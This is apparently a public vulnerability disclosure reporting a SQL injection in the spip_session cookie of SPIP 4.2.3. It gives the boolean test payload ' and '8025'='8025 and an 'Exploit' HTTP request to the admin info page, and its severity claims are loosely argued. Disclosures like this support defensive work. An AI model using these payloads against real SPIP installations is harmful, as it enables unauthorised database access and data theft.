## Title: spip-v4.2.3 SQLi-cookie session vulnerability - Server Side Sensitive information Disclosure! ## Author: nu11secur1ty ## Date: 06.28.2023 ## Vendor: https://www.spip.net/en_rubrique25.html ## Software: https://files.spip.net/spip/archives/spip-v4.2.3.zip ## Reference: https://portswigger.net/web-security/information-disclosure ## Description: The spip_session cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the spip_session cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. Additionally, the payload ' and '8025'='8025 were submitted in the spip_session cookie, and a database error message was returned. The attacker who has an account easily can dump almost all sensitive information from the server. This is the wrong configuration of the sessions of this app and a serious bug in the backend execution - function modules of this app which bug is coming from the development team of this web application! No one user account or even broadcast admin account, must not be seeing inside information of the server, except on the layer 2 level, which must be a LOCAL ADMINISTRATOR! from the side of the developers of this web app. STATUS: HIGH-CRITICAL Vulnerability [+]Exploit: ```GET GET /pwnedhost7/ecrire/?exec=info HTTP/1.1 Host: 192.168.100.45 Cookie: spip_admin=%40pwned%40pwned.com; spip_accepte_ajax=1; spip_session=1_c9209323400f315bb516fdc7c5345eae Cache-Control: max-age=0 Sec-Ch-Ua: Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/SPIP/spip-v4.2.3) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/06/spip-v423-sqli-cookie-session.html) ## Time spend: 03:15:00